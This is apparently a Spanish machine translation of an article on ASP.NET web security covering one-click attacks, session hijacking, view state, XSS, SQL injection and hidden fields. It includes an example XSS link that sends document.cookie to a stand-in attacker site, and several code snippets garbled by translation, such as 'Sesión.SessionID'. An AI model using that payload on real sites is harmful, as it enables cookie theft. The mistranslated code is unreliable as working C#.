Si está leyendo este artículo, probablemente no necesite estar convencido de que la seguridad en las aplicaciones web es cada vez más importante. Lo que probablemente necesite es algún consejo práctico sobre cómo implementar la seguridad en su aplicación ASP.NET. La mala noticia es que ninguna plataforma de desarrollo, incluida ASP.NET, puede garantizar que una vez que adopte la plataforma, podrá escribir código 100% seguro. Cualquiera que diga eso debe estar mintiendo. La buena noticia es que en el caso de ASP.NET, ASP.NET, especialmente la versión 1.1 y la próxima versión 2.0, incorpora algunas defensas integradas que son fáciles de usar.
La aplicación de todas estas características por sí sola no es suficiente para proteger una aplicación web de todos los ataques posibles y previsibles. Sin embargo, cuando se combina con otras técnicas de defensa y estrategias de seguridad, la funcionalidad ASP.NET integrada puede formar un potente conjunto de herramientas para ayudar a garantizar que las aplicaciones se ejecuten en un entorno seguro.
La seguridad web es la suma de muchos factores y es el resultado de una estrategia que se extiende mucho más allá de una sola aplicación e implica gestión de bases de datos, configuración de redes e ingeniería social y phishing.
El propósito de este artículo es explicar qué deben hacer siempre los desarrolladores de ASP.NET para mantener los estándares de seguridad en un nivel razonable. De eso se trata la seguridad: mantenerse alerta y nunca bajar la guardia por completo, lo que hace que a los malos les resulte cada vez más difícil piratear.
Echemos un vistazo a las características que proporciona ASP.NET para simplificar este trabajo.
En la Tabla 1, resumí los tipos más comunes de ataques web, junto con las fallas en las aplicaciones que podrían permitir que estos ataques tengan éxito.
Ataques | Posibles instigadores de ataques |
Secuencias de comandos entre sitios (XSS) | Hacer eco de entradas de usuarios no confiables en la página |
Inyección SQL | Concatenar entradas de usuarios para formar un comando SQL |
Secuestro | de sesión ID de sesión ID de sesión adivinada y robada Cookies Entradas de usuarios no confiables |
enviadas a través de una secuencia de comandos con | un solo clic | HTTP percibido Publicar
manipulación de campos ocultos | Campos ocultos no verificados (y confiables) llenos de datos confidenciales |
¿Cuáles son los hechos clave que surgen de esta lista de
ataques web comunes
En mi opinión, hay al menos tres cosas:
• | Cada vez que insertas cualquier entrada del usuario en el marcado del navegador, te estás exponiendo potencialmente a ataques de inyección de código (cualquier inyección SQL y variantes XSS). |
• | El acceso a la base de datos debe implementarse de manera segura, es decir, utilizando la menor cantidad de permisos posible para la base de datos y dividiendo las responsabilidades de los usuarios individuales a través de roles. |
• | Los datos confidenciales nunca deben enviarse a través de la red (y mucho menos de forma clara) y deben almacenarse en el servidor de forma segura. |
Curiosamente, los tres puntos anteriores apuntan respectivamente a tres aspectos diferentes de la seguridad web, y la combinación de estos tres aspectos es la única forma razonable de generar aplicaciones a prueba de ataques y manipulaciones. Las diversas capas de seguridad web se pueden resumir de la siguiente manera:
• | Prácticas de codificación: validación de datos, comprobaciones de tipo y longitud del búfer, medidas antimanipulación. |
• | Políticas de acceso a datos: utilizar decisiones para proteger las cuentas más débiles posibles, utilizar procedimientos almacenados o al menos parametrización. dominio. |
• | Almacenamiento y gestión eficientes: no envíe datos críticos al cliente, utilice códigos hash para detectar operaciones, autenticar usuarios y proteger identidades, aplique políticas de contraseñas estrictas. |
Como puede ver, esto sólo se puede lograr desarrollando los esfuerzos combinados de las personas. arquitectos y administradores dan como resultado aplicaciones seguras. No asuma que puede lograr el mismo propósito de otra manera.
Cuando escribes una aplicación ASP.NET, no estás solo frente a un ejército de hackers: tus únicas armas son las líneas de código que escribes con tu cerebro, tus habilidades y tus dedos. ASP.NET 1.1 y posteriores vienen al rescate con características específicas que aumentan automáticamente su defensa contra algunas de las amenazas enumeradas anteriormente. A continuación los examinamos en detalle.
se introdujo en ASP.NET 1.1. ViewStateUserKey es una propiedad de cadena de la clase Page . Sólo unos pocos desarrolladores están realmente familiarizados con esta propiedad. ¿Por qué? Veamos qué dice la documentación.
de asignar un identificador a un usuario individual en la variable de estado de vista asociada con la página actual
, el significado de esta oración es bastante claro, pero ¿puede decirme honestamente que describe el propósito original de la propiedad? Para comprender la función de ViewStateUserKey , debe continuar leyendo hasta la sección Comentarios .
Esta propiedad ayuda a prevenir ataques con un solo clic porque proporciona información adicional para crear un hash que evita que se altere el estado de la vista. En otras palabras, ViewStateUserKey hace que sea mucho más difícil para los piratas informáticos utilizar el contenido del estado de vista del cliente para preparar publicaciones maliciosas en el sitio. A esta propiedad se le puede asignar cualquier cadena que no esté vacía, pero es preferiblemente el ID de sesión o el ID del usuario. Para comprender mejor la importancia de esta propiedad, presentemos brevemente los conceptos básicos de los ataques con un solo clic .
Un ataque con un solo clic implica publicar un formulario HTTP malicioso en un sitio web conocido y vulnerable. Se llama "un clic" porque a menudo comienza cuando la víctima hace clic sin darse cuenta en un enlace tentador que encuentra por correo electrónico o mientras navega en un foro lleno de gente. Al hacer clic en el enlace, el usuario inadvertidamente activó un proceso remoto que finalmente resultó en el envío de un <form> malicioso a un sitio. Seamos honestos: ¿puedes realmente decirme que nunca has hecho clic en un enlace como Haz clic aquí para ganar $1,000,000 por curiosidad? Obviamente no te pasó nada malo. Supongamos que ese es el caso; ¿puedes decir que todos los demás miembros de la comunidad web sobrevivieron? Quién sabe.
Para tener éxito, un ataque con un solo clic requiere ciertas condiciones previas:
• | El atacante debe tener conocimiento suficiente del sitio vulnerable. Esto es posible porque el atacante podría estudiar "diligentemente" el expediente, o porque es un infiltrado enojado (por ejemplo, un empleado que fue despedido por ser deshonesto). Por tanto, las consecuencias de un ataque de este tipo pueden ser extremadamente graves. |
• | El sitio debe utilizar cookies (las cookies persistentes son mejores) para permitir el inicio de sesión único y el atacante debe haber recibido una cookie de autenticación válida. |
• | Algunos usuarios de este sitio han realizado transacciones confidenciales. |
• | El atacante debe tener acceso a la página de destino. |
Como se mencionó anteriormente, el ataque implica enviar un formulario HTTP malicioso a una página que espera el formulario. Se puede inferir que esta página utilizará los datos publicados para realizar algunas operaciones confidenciales. Como puedes imaginar, el atacante sabe exactamente cómo utilizar cada dominio y puede generar algunos valores falsos para lograr sus objetivos. Por lo general, se trata de un ataque dirigido a un objetivo específico y es difícil de rastrear debido a la relación triangular que crea; es decir, el pirata informático engaña a la víctima para que haga clic en un enlace del sitio del pirata informático, lo que a su vez provoca que el código malicioso se publique en un sitio web. tercero. (Ver Figura 1.)
Figura 1. Ataque con un clic
¿Por qué la víctima desprevenida? Esto se debe a que, en este caso, la dirección IP desde la que aparece la solicitud maliciosa en los registros del servidor es la dirección IP de la víctima. Como se mencionó anteriormente, esta herramienta no es tan común (y fácil de ejecutar) como el XSS "clásico", sin embargo, su naturaleza significa que sus consecuencias pueden ser catastróficas; ¿Cómo afrontarlo? A continuación, examinamos cómo funciona este ataque en el entorno ASP.NET.
A menos que la operación esté codificada en el evento Page_Load , es simplemente imposible que una página ASP.NET ejecute código confidencial fuera del evento de devolución. Para que se produzca el evento de devolución, se requiere el campo de estado de vista. Tenga en cuenta que ASP.NET verifica el estado de devolución de la solicitud y, dependiendo de si el campo de entrada _VIEWSTATE está presente, configura IsPostBack en consecuencia. Por lo tanto, quien quiera enviar una solicitud falsa a una página ASP.NET debe proporcionar un campo de estado de vista válido.
Para que un ataque con un solo clic tenga éxito, el hacker debe poder acceder a la página. En este punto, un hacker con visión de futuro guardaría la página localmente. De esta manera, puede acceder al campo _VIEWSTATE y utilizar ese campo para crear solicitudes con estados de vista antiguos y valores maliciosos de otros campos. La pregunta es, ¿funcionará esto?
¿Por qué no? Si el atacante puede proporcionar una cookie de autenticación válida, podrá ingresar y la solicitud se procesará normalmente. Los contenidos del estado de visualización no se verifican en absoluto en el servidor (cuando EnableViewStataMac está desactivado), o solo si han sido manipulados. De forma predeterminada, no existe ningún mecanismo en el estado de vista para asociar este contenido con un usuario específico. Un atacante puede reutilizar fácilmente el estado de vista obtenido para acceder legítimamente a la página haciéndose pasar por otro usuario para generar solicitudes falsas. Aquí es donde interviene ViewStateUserKey .
Si se selecciona correctamente, esta propiedad puede agregar información específica del usuario al estado de la vista. Al procesar una solicitud, ASP.NET extrae la clave del estado de vista y la compara con ViewStateUserKey de la página en ejecución. Si los dos coinciden, la solicitud se considerará legítima; de lo contrario, se generará una excepción. ¿Qué valores son válidos para este atributo?
Establecer ViewStateUserKey en una cadena constante para todos los usuarios equivale a dejarla vacía. Debe establecerlo en un valor que sea diferente para cada usuario: un ID de usuario, preferiblemente un ID de sesión. Por algunas razones técnicas y sociales, los ID de sesión son más apropiados porque son impredecibles, caducan con el tiempo y son diferentes para cada usuario.
Aquí hay un código que es esencial en todas sus páginas:
void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Sesión.SessionID; : }
Para evitar duplicar estos códigos, puede corregirlos en el método virtual OnInit de la clase derivada de Page . (Tenga en cuenta que debe establecer esta propiedad en el evento Page.Init ).
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Sesión.SessionID; }
En general, usar clases de páginas base siempre es algo bueno, como lo expliqué en el artículo Cree sus páginas ASP.NET sobre una base más rica . Si desea obtener más información sobre los trucos de los atacantes de un solo clic, puede encontrar un artículo muy bueno en aspnetpro.com .
las cookies de autenticación existen porque ayudan a los desarrolladores a lograr ciertos propósitos. Las cookies actúan como un enlace persistente entre el navegador y el servidor. Especialmente en el caso de aplicaciones que utilizan inicio de sesión único, las cookies robadas son las que posibilitan los ataques. Esto es absolutamente cierto para un ataque con un solo clic.
Para utilizar cookies, no es necesario crearlas ni leerlas explícitamente mediante programación. Si utiliza el estado de sesión e implementa la autenticación de formularios, implícitamente utiliza cookies. Por supuesto, ASP.NET admite el estado de sesión sin cookies y ASP.NET 2.0 también introduce la autenticación de formularios sin cookies. Por lo tanto, en teoría puedes utilizar estas funciones sin cookies. No digo que ya no tengas que hacer esto, pero el hecho es que esta es una de esas situaciones en las que la cura es peor que la enfermedad. En realidad, una sesión sin cookies incorpora el ID de la sesión en la URL para que cualquiera pueda verlo.
¿Cuáles son los posibles problemas relacionados con el uso de cookies? Las cookies pueden ser robadas (es decir, copiadas a la computadora de un hacker) y envenenadas (es decir, llenas de datos maliciosos). Estas acciones suelen ser el preludio de un ataque inminente. Si es robada, la cookie "autoriza" a los usuarios externos a conectarse a la aplicación (y usar páginas protegidas) en su nombre, lo que potencialmente permite que un pirata informático eluda fácilmente la autorización y pueda hacer lo que la función y la configuración de seguridad le permiten hacer a la víctima. cualquier operación. Por lo tanto, las cookies de autenticación suelen tener una vida útil relativamente corta, de 30 minutos. (Tenga en cuenta que incluso si una sesión del navegador tarda más en completarse, la cookie aún caducará). En caso de robo, los piratas informáticos tienen una ventana de 30 minutos para intentar un ataque.
Puede alargar este límite de tiempo para que los usuarios no tengan que iniciar sesión con demasiada frecuencia, pero tenga en cuenta que se pone en riesgo al hacerlo; Se debe evitar bajo cualquier circunstancia el uso de cookies persistentes de ASP.NET. ¡Resultará en cookies con una vida útil casi permanente de hasta 50 años! El siguiente fragmento de código demuestra cómo modificar fácilmente la fecha de vencimiento de una cookie.
void OnLogin (remitente del objeto, EventArgs e) { // Comprobar credenciales if (ValidarUsuario(usuario, pswd)) { // Establecer la fecha de vencimiento de la cookie Cookie HttpCookie; cookie = FormsAuthentication.GetAuthCookie(usuario, isPersistent); si (es persistente) cookie.Expires = DateTime.Now.AddDays(10); //Añadir la cookie a la respuesta Respuesta.Cookies.Add(cookie); //Redirigir URL de destino de cadena; targetUrl = FormsAuthentication.GetRedirectUrl(usuario, isPersistent); Respuesta.Redirect(targetUrl); } }
Puede utilizar este código en su formulario de inicio de sesión para ajustar la vida útil de la cookie de autenticación.
también se utilizan para recuperar el estado de la sesión de un usuario específico. El ID de sesión se almacena en una cookie que se envía y recibe con la solicitud y se almacena en la computadora del navegador. Del mismo modo, en caso de robo, una cookie de sesión podría usarse para permitir que un pirata informático ingrese al sistema y acceda al estado de sesión de otra persona. No hace falta decir que esto es posible siempre que la sesión especificada esté activa (normalmente no más de 20 minutos). Un ataque a través de un estado de sesión suplantado se denomina secuestro de sesión . Para obtener más información sobre el secuestro de sesiones, lea Robo en la Web: evitar el secuestro de sesiones .
¿Qué tan peligroso es este ataque? Es difícil saberlo. Esto depende de la funcionalidad del sitio web y, más importante aún, de cómo están diseñadas las páginas del sitio. Por ejemplo, suponga que puede obtener la cookie de sesión de otra persona y adjuntarla a una solicitud de una página en su sitio. Carga la página y recorre su interfaz de usuario normal. No puede inyectar ningún código en la página ni modificar nada en la página, excepto que la página funcione utilizando el estado de sesión de otro usuario. Esto no es tan malo en sí mismo, pero si la información en esa sesión es sensible y crítica, podría conducir directamente a un exploit exitoso. Un hacker no puede penetrar el contenido de un almacén de sesiones, pero puede utilizar la información almacenada allí como si hubiera entrado legalmente. Por ejemplo, considere una aplicación de comercio electrónico en la que los usuarios agregan artículos a sus carritos de compras mientras navegan por el sitio.
• | Opción 1. El contenido del carrito de compras se almacena en estado de sesión. Sin embargo, durante el proceso de pago, se solicita a los usuarios que confirmen e ingresen los detalles de pago a través de una conexión SSL segura. En este caso, al acceder al estado de sesión de otros usuarios, el hacker sólo puede conocer algunos detalles sobre las preferencias de compra de la víctima. El secuestro en este entorno en realidad no causa ningún daño. Lo que está en juego es la confidencialidad. |
• | Opción 2. La aplicación procesa un perfil para cada usuario registrado y guarda el perfil en estado de sesión. Peor aún, el perfil (probablemente) incluye información de la tarjeta de crédito. ¿Por qué los detalles del perfil se almacenan en la sesión? Quizás uno de los objetivos de la aplicación sea esencialmente evitar que los usuarios tengan que escribir repetidamente su tarjeta de crédito y su información bancaria. Por lo tanto, al finalizar la compra, la aplicación dirige al usuario a una página con un dominio previamente completado. Innecesariamente, uno de estos campos es un número de tarjeta de crédito obtenido del estado de la sesión. ¿Puedes adivinar ahora cómo termina la historia? |
El diseño de las páginas de la aplicación es la clave para prevenir ataques de secuestro de sesión. Eso sí, aún quedan dos puntos que no han sido aclarados. El primer punto es, ¿cómo prevenir el robo de cookies? El segundo punto es, ¿cómo puede ASP.NET detectar y prevenir el secuestro?
Las cookies de sesión de ASP.NET son extremadamente simples y se limitan a contener la propia cadena de ID de sesión. El tiempo de ejecución de ASP.NET extrae el ID de sesión de la cookie y lo compara con la sesión activa. Si la ID es válida, ASP.NET se conectará a la sesión correspondiente y continuará. Este comportamiento facilita enormemente a los piratas informáticos que han robado o pueden adivinar una ID de sesión válida.
Los ataques XSS y de intermediario, así como el acceso por fuerza bruta a la PC del cliente, son formas de obtener cookies válidas. Para evitar el robo, debe implementar las mejores prácticas de seguridad para evitar que XSS y sus variantes tengan éxito.
Y para evitar adivinar el ID de la sesión, simplemente debes evitar sobreestimar tus habilidades. Adivinar un ID de sesión significa que sabes cómo predecir una cadena de ID de sesión válida. Para el algoritmo utilizado por ASP.NET (15 números aleatorios asignados a caracteres habilitados para URL), la probabilidad de adivinar aleatoriamente una identificación válida es cercana a cero. No se me ocurre ninguna razón para reemplazar el generador de ID de sesión predeterminado por el suyo. En muchos casos, hacerlo sólo facilitará las cosas al atacante.
La peor consecuencia del secuestro de sesión es que una vez que se roba o se adivina una cookie, ASP.NET no tiene forma de detectar el uso fraudulento de cookies. Nuevamente, la razón es que ASP.NET se limita a verificar la validez del ID y el origen de la cookie.
Mi amigo Jeff Prosise de Wintellect escribió un buen artículo sobre el secuestro de sesiones para MSDN Magazine . Su conclusión no es reconfortante: es casi imposible construir defensas que puedan proteger completamente contra ataques basados en cookies de identificación de sesión robadas. Pero el código que desarrolló ofrece sugerencias muy sensatas para mejorar aún más los estándares de seguridad. Jeff creó un módulo HTTP que monitorea las solicitudes entrantes y las respuestas salientes para las cookies de ID de sesión. Este módulo agrega un código hash al ID de la sesión, lo que dificulta que un atacante reutilice la cookie. Puedes leer los detalles aquí .
se utiliza para mantener el estado de un control entre dos solicitudes consecutivas para la misma página. De forma predeterminada, el estado de la vista está codificado en Base64 y firmado con un hash para evitar manipulaciones. No es posible alterar el estado de la vista sin cambiar la configuración de página predeterminada. Si un atacante modifica el estado de la vista, o incluso lo regenera utilizando el algoritmo correcto, ASP.NET detectará estos intentos y generará una excepción. La manipulación del estado de la vista no es necesariamente dañina, aunque modifica el estado de los controles del servidor, pero puede ser un vehículo para infecciones graves. Por lo tanto, es extremadamente importante no eliminar la verificación cruzada del Código de autenticación de computadora (MAC) que ocurre de manera predeterminada. Ver Figura 2.
Figura 2. Factores que hacen que el estado de la vista sea difícil de manipular cuando EnableViewStateMac está habilitado
Cuando la verificación de MAC está habilitada (el valor predeterminado), se agrega un valor hash al estado de vista serializado, que se genera utilizando algún valor del lado del servidor y el secreto de usuario del estado de vista (si lo hay). Cuando se vuelve a publicar el estado de la vista, el hash se vuelve a calcular utilizando el nuevo valor del lado del servidor y se compara con el valor almacenado. Si los dos coinciden, se permite la solicitud; de lo contrario, se genera una excepción. Incluso suponiendo que un hacker tenga la capacidad de descifrar y regenerar el estado de la vista, aún necesitaría saber el valor almacenado por el servidor para poder derivar un hash válido. Específicamente, el hacker necesita conocer la clave de la máquina a la que se hace referencia en la entrada <machineKey> de machine.config.
De forma predeterminada, las entradas se generan automáticamente y se almacenan físicamente en la Autoridad de seguridad local (LSA) de Windows. Sólo en el caso de una granja web, donde la clave de la máquina para el estado de vista debe ser la misma en todas las máquinas, debe especificarla como texto sin cifrar en el archivo machine.config.
La verificación de MAC del estado de visualización se controla mediante un atributo de directiva @Page llamado EnableViewStateMac . Como se mencionó anteriormente, de forma predeterminada, está configurado en verdadero. Nunca deshabilite esto; hacerlo hará posible un ataque con un solo clic en la manipulación del estado de visualización con una alta probabilidad de éxito.
Cross-site scripting (XSS) es un viejo amigo de muchos desarrolladores web experimentados, ya que existe desde 1999. En pocas palabras, XSS explota las vulnerabilidades del código para introducir el código ejecutable de un hacker en la sesión del navegador de otro usuario. Si se ejecuta, el código inyectado puede realizar varias acciones diferentes: obtener una cookie y cargar una copia en un sitio web controlado por piratas informáticos, monitorear la sesión web del usuario y reenviar datos, modificar el comportamiento y la apariencia de la página pirateada para que Proporcione información falsa o incluso sea persistente para que la próxima vez que el usuario regrese a la página, el código engañoso se ejecute nuevamente. Lea más sobre los conceptos básicos de los ataques XSS en el artículo de TechNet Descripción general de secuencias de comandos entre sitios .
¿Qué vulnerabilidades en el código hacen posibles los ataques XSS?
XSS explota aplicaciones web que generan dinámicamente páginas HTML pero no validan la entrada devuelta a la página. La entrada aquí se refiere a la cadena de consulta, las cookies y el contenido de los campos del formulario. Si este contenido aparece en la web sin las comprobaciones de rendimiento adecuadas, existe el riesgo de que los piratas informáticos puedan manipularlo para ejecutar scripts maliciosos en los navegadores de los clientes. (El ataque de un solo clic mencionado anteriormente es en realidad una variante reciente de XSS). Un ataque XSS típico hace que un usuario desprevenido haga clic en un enlace tentador que ha escapado del código de script incrustado en el enlace. El código engañoso se enviará a una página vulnerable que lo mostrará sin sospechas. A continuación se muestra un ejemplo de lo que podría suceder:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>documento.ubicación.reemplazar( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + documento.cookie); </script>">Haz clic para reclamar tu premio</a>
Un usuario hace clic en un enlace aparentemente seguro, lo que en última instancia da como resultado que se pase algún código de secuencia de comandos a la página vulnerable, que primero obtiene todas las cookies en la computadora del usuario y luego las envía al sitio web del hacker.
Es importante tener en cuenta que XSS no es un problema específico del proveedor y, por lo tanto, no necesariamente explota las vulnerabilidades de Internet Explorer. Afecta a todos los servidores web y navegadores actualmente en el mercado. Cabe señalar que ningún parche puede solucionar este problema por sí solo. Puede proteger sus páginas de ataques XSS aplicando medidas específicas y prácticas de codificación sólidas. Además, tenga en cuenta que el atacante no requiere que el usuario haga clic en el enlace para iniciar el ataque.
Para defenderse contra XSS, esencialmente debe determinar qué entradas son válidas y luego negar todas las demás entradas. Puede leer una lista de verificación detallada para defenderse contra ataques XSS en un libro de lectura obligada en Microsoft: Writing Secure Code de Michael Howard y David LeBlanc. En particular, le recomiendo que lea atentamente el Capítulo 13.
La forma principal de frustrar ataques XSS insidiosos es agregar una capa de validación efectiva y bien diseñada a su entrada (cualquier tipo de datos de entrada). Por ejemplo, hay casos en los que incluso un color que de otro modo sería inofensivo (tricolor RGB) puede introducir secuencias de comandos incontroladas directamente en la página.
En ASP.NET 1.1, cuando el atributo ValidateRequest en la directiva @Page está activado, se realiza una verificación para asegurarse de que el usuario no esté enviando etiquetas HTML potencialmente peligrosas en la cadena de consulta, las cookies o los campos del formulario. Si se detecta esto, se lanzará una excepción y se cancelará la solicitud. Esta propiedad está activada de forma predeterminada; no es necesario hacer nada para estar protegido. Si desea permitir el paso de etiquetas HTML, debe desactivar activamente este atributo.
<%@ Página ValidateRequest="false" %>
ValidateRequest no es una panacea y no puede reemplazar una capa de validación efectiva. Lea aquí para obtener una gran cantidad de información valiosa sobre los fundamentos de esta función. Básicamente funciona aplicando una expresión regular para detectar algunas secuencias potencialmente dañinas.
Nota: La funcionalidad ValidateRequest originalmente tenía errores , por lo que debe aplicar un parche para que funcione como se esperaba. Una información tan importante a menudo pasa desapercibida. Curiosamente, descubrí que una de mis computadoras todavía está afectada por la falla. ¡Probar!
No hay ningún motivo para cerrar ValidateRequest . Puede desactivarlo, pero sólo por una muy buena razón; una de ellas podría ser que los usuarios necesiten poder publicar algo de HTML en el sitio para obtener mejores opciones de formato. En este caso, debe limitar la cantidad de etiquetas HTML permitidas ( <pre> , <b> , <i> , <p> , <br> , <hr> ) y escribir una expresión regular para garantizar que no se permita nada más. o aceptado.
A continuación se ofrecen algunos consejos adicionales para ayudar a proteger ASP.NET de ataques XSS:
• | Utilice HttpUtility.HtmlEncode para convertir símbolos peligrosos a su representación HTML. |
• | Utilice comillas dobles en lugar de comillas simples porque la codificación HTML sólo evita las comillas dobles. |
• | Fuerce una página de códigos para limitar el número de caracteres que se pueden utilizar. |
En resumen, use pero no confíe completamente en la propiedad ValidateRequest y no sea demasiado vago. Tómese el tiempo para comprender fundamentalmente las amenazas a la seguridad como XSS y planificar una estrategia de defensa centrada en un punto clave: toda entrada del usuario es peligrosa.
es otro tipo de ataque bien conocido que explota aplicaciones que utilizan entradas de usuarios no saneadas para formar comandos de bases de datos. Si una aplicación utiliza alegremente lo que el usuario escribe en un campo de formulario para crear una cadena de comando SQL, lo expone al riesgo de que un usuario malintencionado pueda modificar la naturaleza de la consulta simplemente visitando la página e ingresando parámetros fraudulentos. Puede obtener más información sobre la inyección SQL aquí .
Hay muchas formas de prevenir ataques de inyección SQL. Las técnicas más comunes se describen a continuación.
• | Asegúrese de que la entrada del usuario sea del tipo apropiado y siga el patrón esperado (código postal, número de identificación, correo electrónico, etc.). Si se espera un número de un cuadro de texto, bloquee la solicitud cuando el usuario ingrese algo que no se pueda convertir en un número. |
• | Utilice consultas parametrizadas, preferiblemente procedimientos almacenados. |
• | Utilice permisos de SQL Server para limitar lo que los usuarios individuales pueden hacer en la base de datos. Por ejemplo, es posible que necesite desactivar xp_cmdshell o limitar la operación sólo a administradores. |
Si utiliza procedimientos almacenados, puede reducir significativamente la posibilidad de este ataque. De hecho, con los procedimientos almacenados, no es necesario componer cadenas SQL dinámicamente. Además, SQL Server verificará que todos los parámetros tengan el tipo especificado. Aunque estas técnicas por sí solas no son 100% seguras, sumadas a la verificación serán suficientes para mejorar la seguridad.
Más importante aún, debe asegurarse de que sólo los usuarios autorizados puedan realizar operaciones que puedan tener consecuencias graves, como eliminar una tabla. Esto requiere un diseño cuidadoso del nivel medio de la aplicación. Una buena técnica (no sólo por seguridad) es mantener la atención en el personaje. Los usuarios deben agruparse en roles y definirse una cuenta con un conjunto mínimo de permisos para cada rol.
Hace unas semanas, el sitio web de Wintellect fue objeto de un ataque de inyección SQL muy sofisticado. El pirata informático intentó crear e iniciar un script FTP para descargar un programa ejecutable potencialmente malicioso. Afortunadamente, el ataque fracasó. ¿O fue en realidad una fuerte autenticación de usuario, el uso de procedimientos almacenados y el uso de permisos de SQL Server lo que provocó que el ataque fallara?
En resumen, debe seguir estas pautas para evitar que le inyecten código SQL dañino:
• | Ejecute con la menor cantidad de privilegios posible y nunca ejecute código como "sa". |
• | Restringir el acceso a los procedimientos almacenados integrados. |
• | Prefiere utilizar consultas parametrizadas SQL. |
• | No genera declaraciones mediante concatenación de cadenas y no refleja los errores de la base de datos. |
En ASP tradicional, los campos ocultos eran la única forma de conservar datos entre solicitudes. Cualquier dato que necesite recuperar en la siguiente solicitud se empaqueta en el campo <input> oculto y se realiza el pase de devolución. ¿Qué sucede si alguien modifica el valor almacenado en este campo en el cliente? Mientras el texto sea claro, el entorno del lado del servidor no podrá detectarlo. En ASP.NET, la propiedad ViewState de la página y cada control tiene dos propósitos. Por un lado, ViewState es una forma de conservar el estado en todas las solicitudes; por otro lado, ViewState le permite almacenar valores personalizados en campos ocultos que están protegidos y no pueden alterarse fácilmente;
Como se muestra en la Figura 2, al estado de la vista se le agrega un valor hash y, para cada solicitud, este valor se verifica para detectar si se ha producido una manipulación. Excepto en algunos casos, no existe ninguna razón para utilizar campos ocultos en ASP.NET. Ver estado logra la misma funcionalidad de una manera mucho más segura. Como se mencionó de inmediato, almacenar valores confidenciales (como precios o detalles de tarjetas de crédito) en campos ocultos y abiertos abre la puerta a los piratas informáticos. El estado de visualización puede incluso hacer que esta mala práctica sea más segura que antes. Mecanismo de protección de datos. Sin embargo, tenga en cuenta que el estado de visualización es a prueba de manipulaciones, pero la confidencialidad no está garantizada a menos que se utilice cifrado; los detalles de la tarjeta de crédito almacenados en el estado de visualización están en riesgo de todos modos.
En ASP.NET, ¿cuándo es aceptable utilizar campos ocultos? Cuando crea un control personalizado que necesita enviar datos al servidor. Por ejemplo, supongamos que desea crear un nuevo control DataGrid que admita el reordenamiento de columnas. Debe enviar el nuevo pedido al servidor en una devolución de datos. Si no se almacena esta información en un campo oculto, ¿dónde se puede almacenar?
Si el campo oculto es un campo de lectura/escritura, es decir, se espera que el cliente escriba en él, no hay forma de prevenir por completo un ataque de piratas informáticos. Podría intentar cifrar o cifrar el texto, pero eso no le da una confianza razonable de que no será pirateado. En este punto, la mejor defensa es que el campo oculto contenga información inerte e inofensiva.
Además, cabe señalar que ASP.NET expone una clase poco conocida que se puede utilizar para codificar y aplicar hash a cualquier objeto serializado. Esta clase es LosFormatter , la misma clase que ViewState implementa para crear devoluciones de llamada al cliente para codificar texto.
cadena privada EncodeText (texto de cadena) { Escritor StringWriter = nuevo StringWriter(); Formateador LosFormatter = nuevo LosFormatter(); formatter.Serialize(escritor, texto); devolver escritor.ToString(); }
El fragmento de código anterior demuestra cómo usar LosFormatter para crear algo como el estado de vista, codificarlo y aplicar hash.
Al final de este artículo, permítame señalar que al menos dos de los ataques más comunes (XSS clásico y un clic) generalmente se realizan incitando a víctimas desprevenidas a hacer clic en un enlace tentador y engañoso iniciado por el enlace. Muchas veces podemos encontrar este tipo de enlaces en nuestra bandeja de entrada, a pesar de los filtros antispam. Puedes comprar muchas direcciones de correo electrónico por unos pocos dólares. Una de las principales técnicas utilizadas para generar este tipo de listas es escanear páginas públicas de un sitio web para encontrar y recuperar cualquier cosa que parezca un mensaje de correo electrónico.
Si se muestra una dirección de correo electrónico en la página, es probable que tarde o temprano la dirección sea capturada por un programa web automatizado. ¿En realidad? Por supuesto, esto depende de cómo se muestra el correo electrónico. Si lo codificas, pierdes. No está claro que el uso de otras representaciones (como Dino-At-Microsoft-Dot-com ) engañaría a los programas web automatizados, pero ciertamente haría que cualquiera que lea su página quiera enojar una conexión legítima.
En general, debe determinar una forma de generar dinámicamente correos electrónicos como enlaces de Mailto . Un componente gratuito escrito por Marco Bellinaso hace exactamente eso. Puede obtener el código fuente completo para este componente del sitio web Dotnet2Themax .
¿Alguien sospecha que la web puede ser el más hostil de todos los entornos de tiempo de ejecución? La causa raíz es que cualquiera puede acceder a un sitio web e intentar transmitir datos buenos o malos. Pero, ¿cuál es el punto de crear una aplicación web que no acepta la entrada del usuario?
Seamos realistas: no importa cuán poderoso sea su firewall, no importa con qué frecuencia aplique parches disponibles, siempre y cuando esté ejecutando una aplicación web que contenga defectos inherentes, tarde o temprano un atacante podrá acceder directamente al canal principal, que es el puerto 80. Llegue al corazón de su sistema.
Las aplicaciones ASP.NET no son más vulnerables ni más seguras que otras aplicaciones web. La seguridad y las vulnerabilidades están igualmente arraigadas en las prácticas de codificación, la experiencia del mundo real y el trabajo en equipo. Si la red no es segura, entonces ninguna aplicación es segura;
El beneficio de ASP.NET es que proporciona algunas buenas herramientas que, con un poco de trabajo, pueden elevar los estándares de seguridad a un nivel aceptable. Por supuesto, este no es un nivel lo suficientemente alto. No debe confiar exclusivamente en las soluciones incorporadas de ASP.NET, ni debe ignorarlas. Aprenda tanto como sea posible sobre ataques comunes.
Este artículo proporciona una lista anotada de características incorporadas, así como algunos antecedentes sobre ataques y defensas. Las técnicas utilizadas para detectar ataques salientes son otro asunto y probablemente merecen su propio artículo.